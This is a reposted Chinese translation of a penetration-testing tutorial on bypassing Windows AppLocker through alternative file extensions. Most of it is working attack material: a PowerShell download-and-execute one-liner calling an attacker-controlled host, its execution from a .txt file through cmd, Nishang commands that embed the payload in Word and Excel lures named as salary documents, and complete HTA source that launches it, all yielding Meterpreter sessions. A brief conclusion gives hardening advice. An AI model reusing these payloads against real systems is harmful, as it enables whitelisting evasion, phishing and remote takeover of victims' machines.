Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】AppLocker绕过之文件拓展名

0
0
【技术分享】AppLocker绕过之文件拓展名

2017-06-20 10:07:25

阅读:350次
点赞(0)
收藏
来源: pentestlab.blog





【技术分享】AppLocker绕过之文件拓展名

作者:牧野之鹰





【技术分享】AppLocker绕过之文件拓展名

译者:牧野之鹰

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


要绕过AppLocker的限制通常是使用受信赖的MS的二进制文件来执行代码或者利用弱路径规则。然而在系统中还有一种可行的方法,系统已经配置了默认规则,而规则是允许用户使用CMD和PowerShell,这时用户可以通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。

可以使用Metasploit Web传递模块来托管将要使用的powershell有效载荷,并从目标中检索传入的连接。

代码如下:

exploit/multi/script/web_delivery
【技术分享】AppLocker绕过之文件拓展名

网络传递模块 - PowerShell payload

默认情况下,直接从CMD执行.bat文件将被阻止。


【技术分享】AppLocker绕过之文件拓展名

AppLocker – bat文件上的限制

但是,通过将此文件的扩展名更改为.txt,并从CMD执行相同的有效载荷将返回一个Meterpreter会话。

代码如下:

cmd.exe/K<payload.txt
【技术分享】AppLocker绕过之文件拓展名

CMD-以txt的方式执行bat文件

Payload.txt:

@echooff Powershell.exe-nop-whidden-cIEX(new-objectnet.webclient) .downloadstring('http://192.168.100.3:8080/9Q21wiSds9E0pxi');

PAUSE

在PowerShell中,可以使用Get-Content cmdlet读取txt文件的内容,Invoke-Expression可以运行payload-powershell.txt文件中包含的命令:

代码如下:

IEX(new-objectnet.webclient).Downloadstring ('http://192.168.100.3:8080/9Q21wiSds9E0pxi');
【技术分享】AppLocker绕过之文件拓展名

PowerShell - 从txt执行有效载荷

Metasploit侦听器将收到两个Meterpreter会话:


【技术分享】AppLocker绕过之文件拓展名

Web Delivery - 获取Meterpreter会话


FileExtensions

应允许应用程序(如Microsoft Word和Excel)执行,并且可以作为另一种方法来传递绕过AppLocker的恶意有效载荷。 Nishang PowerShell框架可以用于生成包含特定有效载荷的各种扩展,如:

.DOC

.XLS

.HTA

.LNK

应该注意的是,系统需要安装office,否则nishang将无法生成文件。

代码如下:

PSC:\nishang\Client>Import-Module.\Out-Word.ps1 PSC:\nishang\Client>Import-Module.\Out-Excel.ps1 PSC:\nishang\Client>Out-Word-Payload"powershell.exe-nop-whidden-cIEX(new-objectnet.webclient).downloadstring( 'http://192.168.100.3:8080/9Q21wiSds9E0pxi');" SavedtofileC:\nishang\Client\Salary_Details.doc PSC:\nishang\Client>Out-Excel-Payload"powershell.exe-nop-whidden-cIEX(new-objectnet.webclient).downloadstring ('http://192.168.100.3:8080/9Q21wiSds9E0pxi');" SavedtofileC:\nishang\Client\Salary_Details.xls
【技术分享】AppLocker绕过之文件拓展名

Nishang - 嵌有payload的Word和Excel

Nishang还有两个PowerShell脚本,可以生成嵌有PowerShell payloads 的CHM文件和快捷方式。 需要注意的是,Nishang依赖于HTML Help Workshop应用程序来生成.CHM文件。


【技术分享】AppLocker绕过之文件拓展名

Nishang - 编译嵌有payload的HTML文件和快捷方式

以下代码(.HTA文件)可用来绕过AppLocker和其他应用程序白名单软件。

代码如下:

<HTML> <HEAD> <scriptlanguage="VBScript"> SetobjShell=CreateObject("Wscript.Shell") objShell.Run"powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://192.168.100.3:8080/9Q21wiSds9E0pxi')" </script> </HEAD> <BODY> </BODY> </HTML>

下面所有类型的文件都可以用来执行远程托管的powershell payload以绕过AppLocker规则。


【技术分享】AppLocker绕过之文件拓展名

Nishang - 生成的文件扩展名



总结

如果只是启用了AppLocker 但是并没有阻止CMD和powershell,即使特定类型的文件被阻止了,代码仍然可以执行。如果某些可信赖的应用当前并没有提供特定业务(也就是空在那里没有起作用)的话,系统所有者和IT管理员应该删除他们,应为他们拥有执行代码的能力,这是潜在的危险。除此之外还应该对标准用户禁止CMD,DLL规则也应该开启。



【技术分享】AppLocker绕过之文件拓展名
【技术分享】AppLocker绕过之文件拓展名
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://pentestlab.blog/2017/06/12/applocker-bypass-file-extensions/

Viewing all articles
Browse latest Browse all 12749